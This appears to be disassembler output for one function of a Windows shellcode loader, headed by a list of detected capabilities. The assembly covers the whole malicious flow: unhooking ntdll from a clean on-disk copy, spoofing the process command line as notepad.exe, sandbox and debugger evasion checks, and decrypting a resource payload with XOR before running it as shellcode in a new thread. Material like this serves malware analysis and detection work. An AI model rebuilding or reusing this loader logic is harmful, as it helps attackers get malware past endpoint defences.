Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rbx
sub rsp, 0x3a8
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x310], xmm6
mov dword [rbp + 0x340], ecx
mov qword [rbp + 0x348], rdx
call fcn.140002910
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x2a0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x298], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x290], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x308], rax
cmp qword [rbp + 0x308], 0
jne 0x140001532
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x308], rax
cmp qword [rbp + 0x308], 0
je 0x140001b2d
mov dword [rbp + 0x304], 0xffffffff
add dword [rbp + 0x304], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x36
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006178]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003b20
movq rax, xmm0
mov qword [rbp + 0x288], rax
cmp dword [rbp + 0x304], 0x150
jle 0x14000154a
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0xd0]
mov rax, qword [rbp + 0x290]
mov r10, qword [rbp + 0x308]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov dword [rbp + 0x300], 0xffffffff
mov ecx, 0xc08
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x280], rax
add dword [rbp + 0x300], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006178]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x300]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x280]
add rax, rdx
movsd xmm1, qword [0x140006180]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x300]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x280]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x300]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x280]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_acos
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x300], 0x17f
jle 0x1400015df
mov rax, qword [rbp + 0xd0]
mov qword [rbp + 0x278], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x270], rax
mov rax, qword [rbp + 0x270]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x268], rax
mov rax, qword [rbp + 0x268]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x278]
mov qword [rbp + 0x258], rax
mov dword [rbp + 0x2fc], 0
mov dword [rbp + 0x2f8], 0
mov ecx, 0xf30
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x250], rax
mov dword [rbp + 0x2f4], 0
jmp 0x1400017f7
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x2f4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x250]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x2f4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x250]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x2fc], eax
add dword [rbp + 0x2f4], 1
cmp dword [rbp + 0x2f4], 0x3cb
jle 0x140001789
mov dword [rbp + 0x2f4], 0
jmp 0x14000187f
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x2f8]
mov eax, dword [rbp + 0x2f4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x250]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x22c]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movsd xmm0, qword [0x140006188]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003cf0
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x2f8], eax
add dword [rbp + 0x2f4], 1
cmp dword [rbp + 0x2f4], 0x3cb
jle 0x14000180f
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x2f8]
movss xmm1, dword [0x140006190]
divss xmm0, xmm1
movss dword [rbp + 0x24c], xmm0
pxor xmm3, xmm3
cvtss2sd xmm3, dword [rbp + 0x24c]
movq rax, xmm3
movq xmm0, rax
call fcn.140003900
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x248], xmm0
mov rax, qword [rbp + 0x250]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x258]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x278]
add rax, rdx
mov qword [rbp + 0x240], rax
mov word [rbp + 0x2f2], 0
jmp 0x140001b15
mov rax, qword [rbp + 0x240]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x240]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x2f2]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x238], rax
mov rax, qword [rbp + 0x238]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001b04
mov dword [rbp + 0x98], 0
mov rax, qword [rbp + 0x238]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x238]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x278]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x98]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp + 0x2e8], 1
jmp 0x140001a6b
mov dword [rbp + 0x2ec], 0
mov eax, dword [rbp + 0x2e8]
mov dword [rbp + 0x2e4], eax
jmp 0x140001a41
mov edx, dword [rbp + 0x2e4]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x230], edx
mov eax, dword [rbp + 0x230]
imul eax, eax
imul eax, dword [rbp + 0x230]
add dword [rbp + 0x2ec], eax
mov eax, dword [rbp + 0x2e4]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x2e4], eax
cmp dword [rbp + 0x2e4], 0
jne 0x1400019d6
mov eax, dword [rbp + 0x2ec]
cmp eax, dword [rbp + 0x2e8]
jne 0x140001a64
mov eax, dword [rbp + 0x2e8]
mov dword [rbp + 0x234], eax
add dword [rbp + 0x2e8], 1
cmp dword [rbp + 0x2e8], 0x17d
jle 0x1400019be
mov rax, qword [rbp + 0x238]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x238]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x260]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x238]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x278]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x98]
mov rax, qword [rbp + 0x238]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x238]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x278]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x98]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x2f2]
add eax, 1
mov word [rbp + 0x2f2], ax
mov rax, qword [rbp + 0x240]
movzx eax, word [rax + 6]
cmp word [rbp + 0x2f2], ax
jb 0x14000190d
mov qword [rbp + 0x2d8], 0
mov dword [rbp + 0x228], 0x260
mov dword [rbp + 0x2e0], 1
jmp 0x140001b64
mov eax, dword [rbp + 0x2e0]
cdqe
add qword [rbp + 0x2d8], rax
add dword [rbp + 0x2e0], 1
mov eax, dword [rbp + 0x2e0]
cmp eax, dword [rbp + 0x228]
jle 0x140001b4e
mov dword [rbp + 0x9c], 0
mov ecx, 0x11f8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x220], rax
mov ecx, 0x11f8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x218], rax
mov dword [rbp + 0x2d4], 0
jmp 0x140001c37
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x2d4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x220]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x2d4], 1
cmp dword [rbp + 0x2d4], 0x23e
jle 0x140001bad
mov dword [rbp + 0x2d4], 0
jmp 0x140001ca5
mov eax, dword [rbp + 0x2d4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x220]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x2d4]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x218]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003a40
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x2d4], 1
cmp dword [rbp + 0x2d4], 0x23e
jle 0x140001c53
mov rax, qword [rbp + 0x2a0]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x210], rax
mov ecx, 0xf70
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x208], rax
mov ecx, 0xf70
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x200], rax
mov ecx, 0xf70
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1f8], rax
mov ecx, 0xf70
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1f0], rax
mov dword [rbp + 0x2cc], 0x3db
mov dword [rbp + 0x2d0], 0
jmp 0x140001dc2
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x2d0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x208]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x2d0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x200]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x2d0], 1
cmp dword [rbp + 0x2d0], 0x3db
jle 0x140001d2f
mov dword [rbp + 0x2d0], 0
jmp 0x140001e61
mov eax, dword [rbp + 0x2cc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x208]
add rax, rdx
mov edx, dword [rbp + 0x2d0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1f8]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x2cc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x200]
add rax, rdx
mov edx, dword [rbp + 0x2d0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1f0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x2cc], 1
add dword [rbp + 0x2d0], 1
cmp dword [rbp + 0x2d0], 0x3db
jle 0x140001de1
mov rax, qword [rbp + 0x208]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x200]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x1f8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x1f0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0xa0]
lea rax, [rbp + 0x9c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x210]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0xa8]
add rax, 0x3c
mov qword [rbp + 0x1e8], rax
mov rax, qword [rbp + 0x1e8]
lea rdx, str.C:windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x1e8]
lea rdx, str.C:windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov dword [rbp + 0x1e4], 0x26a
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1d8], rax
mov rax, qword [rbp + 0x1d8]
call rax
mov dword [rbp + 0x1d4], eax
mov eax, dword [rbp + 0x1e4]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x1d8]
call rax
mov dword [rbp + 0x1d0], eax
mov eax, dword [rbp + 0x1d0]
sub eax, dword [rbp + 0x1d4]
cmp eax, 0x238
jbe 0x14000284a
mov qword [rbp + 0x1c8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1c0], rax
mov rax, qword [rbp + 0x1c0]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x22d4680
mov ecx, 0
call rax
mov qword [rbp + 0x1c8], rax
cmp qword [rbp + 0x1c8], 0
je 0x14000284a
mov rax, qword [rbp + 0x1c8]
mov edx, 0x22d4680
mov rcx, rax
call fcn.1400049b0
mov rax, qword [rbp + 0x1c8]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1b8], rax
mov rax, qword [rbp + 0x1b8]
mov ecx, 0
call rax
mov dword [rbp + 0x1b4], eax
cmp dword [rbp + 0x1b4], 0xffffffff
je 0x14000284a
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1a8], rax
mov rax, qword [rbp + 0x1a8]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x1a0], rax
cmp qword [rbp + 0x1a0], 0
jne 0x14000284a
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x198], rax
cmp qword [rbp + 0x198], 0
je 0x14000284a
mov rax, qword [rbp + 0x198]
mov edx, 0x618
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x194], eax
lea rax, str.hijeujbbwjny.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x188], rax
cmp qword [rbp + 0x188], 0
jne 0x14000284a
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x180], rax
mov rax, qword [rbp + 0x180]
mov ecx, 0
call rax
mov dword [rbp + 0x17c], eax
cmp dword [rbp + 0x17c], 0xffffffff
je 0x14000284a
mov dword [rbp + 0x94], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x170], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x94]
mov r8, qword [rbp + 0x170]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x94]
cmp eax, 1
je 0x14000284a
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x168], rax
mov rax, qword [rbp + 0x168]
call rax
mov dword [rbp + 0x164], eax
mov ecx, 0x3ab
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x168]
call rax
mov dword [rbp + 0x160], eax
mov eax, dword [rbp + 0x160]
sub eax, dword [rbp + 0x164]
cmp eax, 0x379
jbe 0x14000284a
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x158], rax
cmp qword [rbp + 0x158], 0
je 0x14000284a
mov rax, qword [rbp + 0x158]
mov edx, 0x436
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x154], eax
mov rax, qword [rbp + 0x298]
lea rdx, str.FindResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x148], rax
lea rax, str.PVLWAU
movzx eax, ax
mov rdx, rax
mov rax, qword [rbp + 0x148]
lea r8, str.PVLWAU
mov ecx, 0
call rax
mov qword [rbp + 0x140], rax
mov rax, qword [rbp + 0x298]
lea rdx, str.LoadResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x138], rax
mov rax, qword [rbp + 0x140]
mov r8, qword [rbp + 0x138]
mov rdx, rax
mov ecx, 0
call r8
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x298]
lea rdx, str.SizeofResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x298]
lea rdx, str.VirtualAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x140]
mov r8, qword [rbp + 0x128]
mov rdx, rax
mov ecx, 0
call r8
mov rdx, rax
mov rax, qword [rbp + 0x120]
mov r9d, 0x40
mov r8d, 0x1000
mov ecx, 0
call rax
mov qword [rbp + 0x118], rax
mov dword [rbp + 0x2c4], 1
jmp 0x1400024ad
mov dword [rbp + 0x2c8], 0
mov eax, dword [rbp + 0x2c4]
mov dword [rbp + 0x2c0], eax
jmp 0x140002483
mov edx, dword [rbp + 0x2c0]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0xec], edx
mov eax, dword [rbp + 0xec]
imul eax, eax
imul eax, dword [rbp + 0xec]
add dword [rbp + 0x2c8], eax
mov eax, dword [rbp + 0x2c0]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x2c0], eax
cmp dword [rbp + 0x2c0], 0
jne 0x140002418
mov eax, dword [rbp + 0x2c8]
cmp eax, dword [rbp + 0x2c4]
jne 0x1400024a6
mov eax, dword [rbp + 0x2c4]
mov dword [rbp + 0xf0], eax
add dword [rbp + 0x2c4], 1
cmp dword [rbp + 0x2c4], 0x227
jle 0x140002400
mov rax, qword [rbp + 0x2a0]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x110], rax
mov rax, qword [rbp + 0x140]
mov r8, qword [rbp + 0x128]
mov rdx, rax
mov ecx, 0
call r8
mov rcx, rax
mov rdx, qword [rbp + 0x130]
mov rax, qword [rbp + 0x118]
mov r9, qword [rbp + 0x110]
mov r8, rcx
mov rcx, rax
call r9
mov dword [rbp + 0x2b8], 0
mov dword [rbp + 0x2b4], 0
mov dword [rbp + 0x2b0], 0x30c
jmp 0x14000253f
sub dword [rbp + 0x2b0], 1
cmp dword [rbp + 0x2b0], 0
jg 0x140002538
movabs rax, 0xde4cde4617aa696c
movabs rdx, 0x12273df3250eb34b
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0x23fc95b55100680d
movabs rdx, 0x27a602347c7f1e2b
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
movabs rax, 0xd05f033a0cfa9963
movabs rdx, 0x1771d3e44049ae76
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0x89ff1771d3e44049
movabs rdx, 0x936711b4142960
mov qword [rbp + 0x2a], rax
mov qword [rbp + 0x32], rdx
movabs rax, 0x6c3b6bbc55002a7b
movabs rdx, 0x66335e087c2ee4f1
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0xd76c57c3ee061aa9
movabs rdx, 0x132e183afaf7080d
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0x10ebe31bab1a7823
movabs rdx, 0x1674efeec788e4c5
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x5e09ec8f5ea7c291
movabs rdx, 0xc0467eb2479c0d34
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0x78fedeba1f5aa3c0
movabs rdx, 0xd14f429a60bb63
mov qword [rbp + 0x7f], rax
mov qword [rbp + 0x87], rdx
mov dword [rbp + 0x2bc], 0
jmp 0x1400026c6
cmp dword [rbp + 0x2b8], 0x4d
jne 0x140002690
mov eax, dword [rbp + 0x2bc]
cdqe
movzx edx, byte [rbp + rax]
mov eax, dword [rbp + 0x2b8]
cdqe
movzx eax, byte [rbp + rax + 0x40]
xor edx, eax
mov eax, dword [rbp + 0x2bc]
cdqe
mov byte [rbp + rax - 0x40], dl
mov dword [rbp + 0x2b8], 0
jmp 0x1400026bf
mov eax, dword [rbp + 0x2bc]
cdqe
movzx edx, byte [rbp + rax]
mov eax, dword [rbp + 0x2b8]
cdqe
movzx eax, byte [rbp + rax + 0x40]
xor edx, eax
mov eax, dword [rbp + 0x2bc]
cdqe
mov byte [rbp + rax - 0x40], dl
add dword [rbp + 0x2b8], 1
add dword [rbp + 0x2bc], 1
mov eax, dword [rbp + 0x2bc]
cmp eax, 0x38
jbe 0x140002653
mov dword [rbp + 0x2bc], 0
jmp 0x14000279b
cmp dword [rbp + 0x2b4], 0x38
jne 0x14000274f
mov eax, dword [rbp + 0x2bc]
movsxd rdx, eax
mov rax, qword [rbp + 0x118]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2b4]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x2bc]
movsxd rdx, eax
mov rax, qword [rbp + 0x118]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x2b4], 0
mov dword [rbp + 0x2ac], 0x230
jmp 0x140002744
sub dword [rbp + 0x2ac], 1
cmp dword [rbp + 0x2ac], 0
jg 0x14000273d
jmp 0x140002794
mov eax, dword [rbp + 0x2bc]
movsxd rdx, eax
mov rax, qword [rbp + 0x118]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2b4]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x2bc]
movsxd rdx, eax
mov rax, qword [rbp + 0x118]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x2b4], 1
add dword [rbp + 0x2bc], 1
cmp dword [rbp + 0x2bc], 0x1fd
jle 0x1400026e0
mov rax, qword [rbp + 0x298]
lea rdx, str.CreateThread
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x108], rax
mov rdx, qword [rbp + 0x118]
lea rax, [rbp + 0x90]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov rax, qword [rbp + 0x108]
mov r9d, 0
mov r8, rdx
mov edx, 0
mov ecx, 0
call rax
mov qword [rbp + 0x100], rax
mov rax, qword [rbp + 0x298]
lea rdx, str.WaitForSingleObject
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xf8], rax
mov rax, qword [rbp + 0x100]
mov r8, qword [rbp + 0xf8]
mov edx, 0xffffffff
mov rcx, rax
call r8
mov dword [rbp + 0xf4], eax
mov eax, 0
movups xmm6, xmmword [rbp + 0x310]
add rsp, 0x3a8
pop rbx
pop rbp
ret